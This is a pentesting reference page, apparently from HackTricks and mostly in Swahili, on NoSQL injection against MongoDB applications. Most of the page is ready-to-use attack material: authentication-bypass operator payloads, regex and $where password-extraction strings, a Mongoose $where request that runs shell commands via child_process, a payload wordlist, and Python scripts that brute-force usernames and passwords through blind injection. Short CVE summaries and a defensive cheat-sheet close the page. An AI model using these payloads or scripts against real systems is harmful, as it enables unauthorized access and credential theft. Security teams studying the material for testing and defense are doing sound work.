hacktricks/src/pentesting-web/nosql-injection.md

279 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# NoSQL injection
{{#include ../banners/hacktricks-training.md}}
## Exploit
Katika PHP unaweza kutuma Array ukibadilisha parameter iliyotumwa kutoka _parameter=foo_ hadi _parameter[arrName]=foo._
Ushambuliaji unategemea kuongeza **Operator**:
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### Mipango ya kuzunguka uthibitishaji wa msingi
**Kutumia si sawa ($ne) au kubwa ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
```javascript
query = { $where: `this.username == '${username}'` }
```
Mshambuliaji anaweza kutumia hili kwa kuingiza nyuzi kama `admin' || 'a'=='a`, na kufanya uchunguzi urudishe hati zote kwa kutimiza hali hiyo kwa tautology (`'a'=='a'`). Hii ni sawa na mashambulizi ya SQL injection ambapo ingizo kama `' or 1=1-- -` linatumika kubadilisha maswali ya SQL. Katika MongoDB, sindano kama hizo zinaweza kufanywa kwa kutumia ingizo kama `' || 1==1//`, `' || 1==1%00`, au `admin' || 'a'=='a`.
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
```
### Extract **length** information
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### Extract **data** information
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### PHP Arbitrary Function Execution
Kwa kutumia opereta **$func** ya maktaba ya [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (iliyotumika kama chaguo-msingi) inaweza kuwa inawezekana kutekeleza kazi isiyo na mipaka kama ilivyo katika [ripoti hii](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python
"user":{"$func": "var_dump"}
```
![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png](<../images/image (933).png>)
### Pata taarifa kutoka kwa mkusanyiko tofauti
Inawezekana kutumia [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kupata taarifa kutoka kwa mkusanyiko tofauti. Katika mfano ufuatao, tunasoma kutoka kwa **mkusanyiko tofauti** unaoitwa **`users`** na kupata **matokeo ya kila ingizo** lenye nenosiri linalolingana na wildcard.
**KUMBUKA:** `$lookup` na kazi nyingine za kujumlisha zinapatikana tu ikiwa kazi ya `aggregate()` ilitumika kufanya utafutaji badala ya kazi za kawaida za `find()` au `findOne()`.
```json
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]
```
### Error-Based Injection
Injiza `throw new Error(JSON.stringify(this))` katika kipengele cha `$where` ili kutoa hati kamili kupitia makosa ya JavaScript ya upande wa seva (inahitaji programu kutoa makosa ya database). Mfano:
```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
```
## CVE Mpya & Matukio ya Uhalifu wa Kweli (2023-2025)
### Rocket.Chat isiyo na uthibitisho blind NoSQLi CVE-2023-28359
Toleo ≤ 6.0.0 lilifunua njia ya Meteor `listEmojiCustom` ambayo ilituma kitu cha **selector** kinachodhibitiwa na mtumiaji moja kwa moja kwa `find()`. Kwa kuingiza waendeshaji kama `{"$where":"sleep(2000)||true"}` mshambuliaji asiye na uthibitisho angeweza kujenga oracle ya wakati na kuhamasisha hati. Kosa hili lilirekebishwa katika 6.0.1 kwa kuthibitisha umbo la selector na kuondoa waendeshaji hatari.
### Mongoose `populate().match` `$where` RCE CVE-2024-53900 & CVE-2025-23061
Wakati `populate()` inapotumika na chaguo la `match`, Mongoose (≤ 8.8.2) ilikopi kitu hicho kama ilivyo *kabla* ya kutuma kwa MongoDB. Kutoa `$where` hivyo kulifanya JavaScript ifanye kazi **ndani ya Node.js** hata kama JS ya upande wa seva ilikuwa imezimwa kwenye MongoDB:
```js
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author }); // RCE
```
Kipande cha kwanza (8.8.3) kilizuia `$where` ya kiwango cha juu, lakini kuikatia chini ya `$or` kulipita kichujio, na kusababisha CVE-2025-23061. Tatizo lilirekebishwa kabisa katika 8.9.5, na chaguo jipya la muunganisho `sanitizeFilter: true` lilianzishwa.
### GraphQL → Mchanganyiko wa Mongo
Wakandarasi wanaosambaza `args.filter` moja kwa moja katika `collection.find()` bado wana hatari:
```graphql
query users($f:UserFilter){
users(filter:$f){ _id email }
}
# variables
{ "f": { "$ne": {} } }
```
Mitigations: recursively strip keys that start with `$`, map allowed operators explicitly, or validate with schema libraries (Joi, Zod).
## Defensive Cheat-Sheet (updated 2025)
1. Ondoa au kata funguo yoyote inayohanza na `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
2. Zima JavaScript ya upande wa seva kwenye MongoDB inayohudumiwa mwenyewe (`--noscripting`, default katika v7.0+).
3. Prefer `$expr` na wajenzi wa aggregation badala ya `$where`.
4. Thibitisha aina za data mapema (Joi/Ajv) na kata arrays ambapo scalars zinatarajiwa ili kuepuka hila za `[$ne]`.
5. Kwa GraphQL, tafsiri hoja za filter kupitia orodha ya ruhusa; kamwe usieneze vitu visivyoaminika.
## MongoDB Payloads
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
## Blind NoSQL Script
```python
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### Brute-force login usernames and passwords from POST login
Hii ni script rahisi ambayo unaweza kubadilisha lakini zana za awali zinaweza pia kufanya kazi hii.
```python
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
```
## Tools
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
## References
- [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
{{#include ../banners/hacktricks-training.md}}